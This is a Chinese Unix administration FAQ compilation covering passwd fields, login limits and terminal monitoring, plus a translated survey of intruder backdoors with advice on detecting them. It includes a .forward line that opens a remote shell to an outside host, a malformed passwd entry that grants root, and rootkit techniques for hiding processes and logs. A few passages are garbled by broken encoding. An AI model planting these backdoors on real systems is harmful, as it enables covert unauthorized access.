请问UNIX系统中的口令文件/etc/passwd如何使用?
/etc/passwd文件是UNIX安全的关键文件之一.该文件用于用户登录时校验
用户的口令,当然应当仅对root可写.文件中每行的一般格式为:
LOGNAME:PASSWORD:UID:GID:USERINFO:HOME:SHELL
每行的头两项是登录名和加密后的口令,后面的两个数是UID和GID,接着的
一项是系统管理员想写入的有关该用户的任何信息,最后两项是两个路径名:
一个是分配给用户的HOME目录,第二个是用户登录后将执行的shell
(若为空格则 缺省为/bin/sh).
(1)口令时效
/etc/passwd文件的格式使系统管理员能要求用户定期地改变他们的口令. 在口令文件中可以看到,有些加密后的口令有逗号,逗号后有几个字符和一个 冒号.如:
steve:xyDfccTrt180x,M.y8:0:0:admin:/:/bin/sh
restrict:pomJk109Jky41,.1:0:0:admin:/:/bin/sh
pat:xmotTVoyumjls:0:0:admin:/:/bin/sh
可以看到,steve的口令逗号后有4个字符,restrict有2个,pat没有逗号.
逗号后第一个字符是口令有效期的最大周数,第二个字符决定了用户再次 修改口信之前,原口令应使用的最小周数(这就防止了用户改了新口令后立刻 又改回成老口令).其余字符表明口令最新修改时间.
要能读懂口令中逗号后的信息,必须首先知道如何用passwd_esc计数,计 数的方法是: .=0 /=1 0-9=2-11 A-Z=12-37 a-z=38-63
系统管理员必须将前两个字符放进/etc/passwd文件,以要求用户定期的 修改口令,另外两个字符当用户修改口令时,由passwd命令填入.
注意:若想让用户修改口令,可在最后一次口令被修改时,放两个".",则下 一次用户登录时将被要求修改自己的口令.
有两种特殊情况:
. 最大周数(第一个字符)小于最小周数(第二个字符),则不允许用户
修改口令,仅超级用户可以修改用户的口令.
. 第一个字符和第二个字符都是".",这时用户下次登录时被要求
修改口令,修改口令后,passwd命令将"."删除,此后再不会要求用户修改口令.
(2)UID和GID
/etc/passwd中UID信息很重要,系统使用UID而不是登录名区别用户.一般 来说,用户的UID应当是独一无二的,其他用户不应当有相同的UID数值.根据惯 例,从0到99的UID保留用作系统用户的UID(root,bin,uucp等).
如果在/etc/passwd文件中有两个不同的入口项有相同的UID,则这两个用 户对相互的文件具有相同的存取权限.
如何设定每个帐号同一时间内允许的连接数
RedHat:首先在/etc/pam.d/login 中加上
session required /lib/security/pam_limits.so
然后在/etc/security/limits.conf加入要限制的用户名或用户组,例如:
@student hard nproc 20
edward hard maxlogins 2
无须重新启动,即设即用。
Linux下按CTRL+ALT+DEL即会系统SHUTDOWN,如何能把这功能键取消,避免任何人都能把系统DOWN下来和从我的应用中意外退出。请赐教,谢谢!
到/etc/inittab文件里找到ctrl-alt-del这一项,注释它然后重新启动.
顺便提一下,如果使用Xwin,为了更好的安全性,考虑禁止Ctrl-Alt-Backspace.
请教:如何登录后自动启动一个程序,就像BBS那样,而且推出该程序后自动退出登录.谢谢!
there TWO way,maybe more.
:
: just put two command in the end of
: .cshrc or .login (CSH) or .profile(SH)
:
: for example (file .profile)
:
: #FILE START
: ...
: ...
: your command here
: logout
: #FILE END
: that's ok.
你应该屏蔽掉键盘中断,man trap看看. 否则人家用Ctrl-Z(or Ctrl+/),嘿嘿......
:
: another simple way is make your program
: be a users shell.
常听说服务器有后门,单不知是怎么回事。
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后 门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时 讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法 这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者 入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量 流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.
大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再 次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者 正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测 到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也 不会引起管理员的注意. 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意 的后门.
密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可 以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者 的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令 薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发 现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.
Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简 单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访 问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进 入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成 了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管 理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和 用户名,从而不易被发现.
校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系 统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发 展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨 回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与 原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易 骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被 大多数人推荐的,MD5使用的算法目前还没人能骗过.
Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的 原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门 口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至 是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问 的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便 用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是 用MD5校验和检测这种后门的.
Telnetd后门
当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行 login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端 设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一 个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产 生一个shell .
服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至 inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口 令就能获取访问.这些程序有时用刺娲□?ucp这样不用的服务,或者被加入inetd.conf 作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做 校验.
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序 使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中 经常运行的合法程序,同时置入后门.
库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些 入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了 crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序, 仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入 侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种 办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门 程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本 的. 即使trojan库本身也可躲过 MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后 运行.
静态连接程序不会使用trojan共享库.
内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态 连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的 后门程序还不是随手可得, 每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章 常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为 了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目 录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分, 且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的 管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.
Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下, 多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序 (sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[] 使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此 当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使 "ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表 显现. 使用这个技术的一个后门
例子是amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
也可以修改内核隐匿进程.
Rootkit ?br> 盍餍械暮竺虐沧鞍皇莚ootkit. 它很容易用web搜索器找到.从Rootkit的README 里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
网络通行后门 ?br> 肭终卟唤鱿胍湓谙低忱锏暮奂? 而且也要隐匿他们的网络通行. 这些网络通行后 门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端 口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理 员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报 文.
TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他 们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat 命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可 以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许 e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以 netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通 行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.
ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外 界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个 shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不 会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密 后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很 难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自 Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用 WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理 员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程序. 通过网络通 行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Network Traffic backdoors, theyarevery feasible for intruders to install on Windows NT. 此 处该如何翻译? :(
解决 当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多 商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的 话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前 由干净 系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些 公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现 有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复 了后门. 应该在入侵发生前作好基准线的建立. ?br> 肭旨觳?
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前 多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和 网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协 议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的 原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法 的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安 置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username' 的 .forward可能设置如下:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只 是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行 任意命令(小部分预处理后).
利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail>类程序, 很有可能还有问题 ......)
你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查 出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux里,这将把用户rmartin的uid设为0.
我是root,有办法看到telnet上来的用户的屏幕情况?
没有现成的办法,都是通过hijaak pty实现的.属于hacker技术一类.
不要玩火!
好象sniffit -i -d /dev/xxx 也可以耶。
先用who看一下在那个端口,然后
sniffit -i -d /dev/ttyp?
嘿嘿,如果用xterm/nxterm/cxterm的话可以用Ctrl+鼠标左键弹出
主菜单,选择Secure Keyboard来对付他人的监视。
rxvt/crxvt不知道可不可以设。
其实系统管理员可以用ttysnoops替换login,然后用snooptty来监视用户的屏幕。
看来用户得用ssh(安全的shell)了,免得人家太容易得手.